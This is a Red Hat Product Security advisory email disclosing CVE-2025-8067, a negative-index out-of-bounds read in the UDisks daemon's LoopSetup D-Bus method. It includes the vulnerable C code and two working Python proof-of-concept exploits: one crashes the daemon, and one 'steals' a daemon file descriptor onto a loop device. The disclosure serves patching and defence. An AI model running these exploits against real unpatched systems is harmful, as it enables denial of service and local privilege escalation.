Hello,

the Red Hat Product Security team has received a report for a
vulnerability in the UDisks daemon.
Coordinating with the report and the upstream developers we have
assigned CVE-2025-8067 with the CVSSv3.1 score of:

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H - 8.5

This issue is fixed in udisks2 versions 2.10.91 and 2.10.2
The upstream advisory is available at:

https://github.com/storaged-project/udisks/security/advisories/GHSA-742q-gggc-473g

Please find out the full report sent on behalf of the reporter:

===== FULL REPORT =====

==============================
  SUMMARY
==============================

Title: Out-Of-Bounds Read in UDisks Daemon
CVSS: 8.5 High CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
Version: Ubuntu 24.04.2 LTS, udisks2 2.10.1-6ubuntu1.2

The UDisks daemon contains an out-of-bounds (OOB) read vulnerability
that can be triggered by an unprivileged user via system bus. Successful
exploitation leads to a crash of the daemon process, or mapping of an
internal file descriptor from the daemon process onto a loop device,
likely resulting in local privilege escalation.

==============================
  DETAILS
==============================

The UDisks daemon enables unprivileged users to create loop devices
through the D-BUS system bus. Its handler accepts multiple arguments,
including fd_list and fd_index, which are used to specify the backing
file for the loop device.

Although there is a check in place [0] to ensure that fd_index does not
exceed the bounds of the fd_list array, there is no validation for the
lower bound. As a result, passing a negative value for fd_index leads to
an out-of-bounds (OOB) read vulnerability [1].

udisks - src/udiskslinuxmanager.c
----------------------------------------
static gboolean
handle_loop_setup (UDisksManager          *object,
                    GDBusMethodInvocation  *invocation,
                    GUnixFDList            *fd_list,
                    GVariant               *fd_index,
                    GVariant               *options)
{
     (...)
     fd_num = g_variant_get_handle (fd_index);
     // [0] upper bound check
     if (fd_list == NULL || fd_num >= g_unix_fd_list_get_length
(fd_list))
         {
             (...)
             goto out;
     (...)
     fd = g_unix_fd_list_get (fd_list, fd_num, &error);
     (...)
     if (!bd_loop_setup_from_fd (fd,
                                 option_offset,
                                 option_size,
                                 option_read_only,


GLib - gio/gunixfdlist.c
----------------------------------------
gint
g_unix_fd_list_get (GUnixFDList  *list,
                     gint          index_,
                     GError      **error)
{
   (...)

   // [1] OOB read
   return dup_close_on_exec_fd (list->priv->fds[index_], error);
}

Successful exploitation of this vulnerability can have two consequences.
First, it can cause the daemon process to crash, resulting in a denial
of service. Second, an attacker can use this to map an internal file
descriptor from the daemon process onto a loop device. This occurs
because the value returned by the OOB read is interpreted as a file
descriptor; if it corresponds to a valid open descriptor in the daemon
process, it can be successfully mapped to a loop device. This can open
up attack paths leading to local privilege escalation.

For example: An attacker could potentially coerce the daemon process
into opening an arbitrary file, creating a file descriptor that could
then be inadvertently exposed and reused in this way.

==============================
   PROOF OF CONCEPT
==============================

POC: Crash
----------------------------------------
from gi.repository import Gio, GLib

oob_idx = -2**30

bus = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)
proxy = Gio.DBusProxy.new_sync(
     bus,
     Gio.DBusProxyFlags.NONE,
     None,
     "org.freedesktop.UDisks2",
     "/org/freedesktop/UDisks2/Manager",
     "org.freedesktop.UDisks2.Manager",
     None
)

proxy.call_with_unix_fd_list_sync(
     "LoopSetup",
     GLib.Variant("(ha{sv})", (oob_idx, {})),
     Gio.DBusCallFlags.NONE,
     -1,
     Gio.UnixFDList.new_from_array([1]),
     None,
)

POC: "Stealing" file descriptor of daemon process
----------------------------------------
from gi.repository import Gio, GLib

def setup_loop(bus, idx):
     proxy = Gio.DBusProxy.new_sync(
         bus,
         Gio.DBusProxyFlags.NONE,
         None,
         "org.freedesktop.UDisks2",
         "/org/freedesktop/UDisks2/Manager",
         "org.freedesktop.UDisks2.Manager",
         None
     )

     fdlist = Gio.UnixFDList()
     fdlist.append(1)

     result = proxy.call_with_unix_fd_list_sync(
         "LoopSetup",
         GLib.Variant("(ha{sv})", (idx, {})),
         Gio.DBusCallFlags.NONE,
         -1,
         fdlist,
         None,
     )

     return result[0].unpack()[0]


def get_backing_file(bus, dev):
     proxy = Gio.DBusProxy.new_sync(
         bus,
         Gio.DBusProxyFlags.NONE,
         None,
         "org.freedesktop.UDisks2",
         dev,
         "org.freedesktop.UDisks2.Loop",
         None
     )
     return bytes(proxy.get_cached_property("BackingFile")).decode()


if __name__ == "__main__":
     bus = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)

     print("[+] Trying loop setup with oob indices")
     for i in range(-1, -1000, -1):
         try:
             dev = setup_loop(bus, i)
             print("[+] Hit valid fd at index", i)
             print("[+] Setup loop device", dev)
             break
         except Exception:
             pass

     backing_file = get_backing_file(bus, dev)
     print("[+] Stole fd for", backing_file)

Please let me know if you need any additional details.

I would be happy to be credited as "Michael Imfeld (born0monday)".

Marco Benatto
Red Hat Product Security
secal...@redhat.com for urgent response

Reply via email to